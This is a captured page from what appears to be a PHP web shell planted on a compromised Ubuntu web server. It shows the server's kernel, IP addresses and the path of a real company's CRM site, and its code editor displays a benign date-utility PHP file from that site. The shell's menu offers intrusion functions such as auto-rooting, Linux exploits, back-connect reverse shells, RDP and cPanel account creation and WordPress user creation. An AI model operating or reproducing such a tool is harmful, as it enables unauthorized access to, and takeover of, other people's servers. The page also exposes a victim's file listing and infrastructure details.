Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.253.60
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
ArraySerializerUtil.php
562
B
-rw-r--r--
DateTimeUtil.php
5.56
KB
-rw-r--r--
FileUtil.php
1.75
KB
-rw-r--r--
Helpers.php
1.56
KB
-rw-r--r--
OpeningHours.php
1.51
KB
-rw-r--r--
ResponseUtil.php
811
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DateTimeUtil.php
<?php /** * Created by PhpStorm. * User: mjamshad * Date: 1/18/2019 * Time: 8:48 PM */ namespace App\Utils; use Carbon\Carbon; use DateTime; use DateTimeZone; use phpDocumentor\Reflection\Types\Self_; /* @author <khakan.ali@alpharages.com> */ class DateTimeUtil { /** * @param $time * @param string $format * @return string */ public static function timeFormat($time, $format = 'Y-m-d G:i:s') { return Carbon::createFromFormat('Y-m-d G:i:s', self::CarbonObject($time)->toDateTimeString())->format($format); } /** * @param string $format * @return string */ public static function currentTime($format = 'Y-m-d G:i:s') { return self::TimeFormat(self::CurrentDateTime(), $format); } /** * @return DateTimeUtil|Carbon */ public static function currentDateTime() { return Carbon::now(); } /** * @param $data * @return DateTimeUtil|Carbon */ public static function carbonObject($data) { return Carbon::parse($data); } /** * @param $second_date * @return mixed */ public static function diffForHumans($second_date) { $current_date = self::CurrentDateTime(); $second_date = self::CarbonObject($second_date); return $second_date->diffForHumans($current_date, true); } /** * @param $first_date * @param $second_date * @param string $type * @return mixed */ public static function diffForHumansBetweenDates($first_date, $second_date, $type = 'human') { $first_date = $first_date ? self::CarbonObject($first_date) : self::CurrentDateTime(); $second_date = $second_date ? self::CarbonObject($second_date) : self::CurrentDateTime(); switch ($type) { case 'human': $date = $second_date->diffForHumans($first_date, true); break; case 'hours': $date = $second_date->diffInHours($first_date); break; case 'minutes': $date = $second_date->diffInMinutes($first_date); break; case 'seconds': $date = $second_date->diffInSeconds($first_date); break; default: $date = $second_date->diffForHumans($first_date, true); break; } return $date; } /** * @param $date * @return false|int */ public static function strToTime($date = null) { if (!$date) $date = Carbon::now(); return strtotime($date); } /** * @return float */ public static function timeInMilliSec() { return round(microtime(true) * 1000); } /** * @param $seconds * @return string */ public static function secToHr($seconds) { $hours = floor($seconds / 3600); $minutes = floor(($seconds / 60) % 60); $seconds = $seconds % 60; $str = null; if ($hours > 0) $str = "$hours Hours,"; if ($minutes > 0) $str .= " $minutes Minutes,"; if ($seconds > 0) $str .= " $seconds Seconds"; return rtrim($str, ','); } /** * @param $seconds * @return float|int */ public static function minToSec($seconds) { return $seconds * 60; } /** * @return float|int */ public static function currentDateSec() { return self::CurrentDateTime()->secondsSinceMidnight(); } /** * @param $date * @param string $format * @return false|string */ public static function gmtDate($date, $format = 'Y-m-d G:i:s') { return gmdate($format, $date); } /** * @param $date * @param $time_zone * @return DateTime */ public static function convertToDefault($date, $time_zone = null) { if (is_null($time_zone)) { $user_time_zone = HelperModule::TimeZone(); if ($user_time_zone) $time_zone = $user_time_zone['time-zone'][0]; } return Carbon::parse($date, $time_zone)->setTimezone(config('app.timezone')); } /** * @param $date * @param $time_zone * @return DateTime */ public static function convertDefaultToOther($date, $time_zone) { $date = $date->toDateTime()->format('Y-m-d H:i:s'); return Carbon::parse($date, config('app.timezone'))->setTimezone($time_zone); } /** * @param $date * @param $time_zone * @return DateTime */ public static function convertDefaultToOtherWithCarbon($date, $time_zone) { return Carbon::parse($date, config('app.timezone'))->setTimezone($time_zone); } /** * @param $date * @return bool */ public static function checkDateIsBetweenLastTwoDays($date) { if ($date >= self::CurrentDateTime()->subDays(2)->startOfDay()) return true; return false; } /** * @param null $time_zone * @return DateTimeUtil|Carbon */ public static function currentDateTimeWithTimeZone($time_zone = null) { if (is_null($time_zone)) $time_zone = config('app.timezone'); return Carbon::now($time_zone); } // /** // * @return DateTimeUtil|Carbon // */ // public static function userCurrentDateTime() // { // $time_zone = HelperModule::TimeZone(); // if (!$time_zone) // $time_zone = null; // return self::CurrentDateTimeWithTimeZone($time_zone['time-zone'][0]); // } }
Close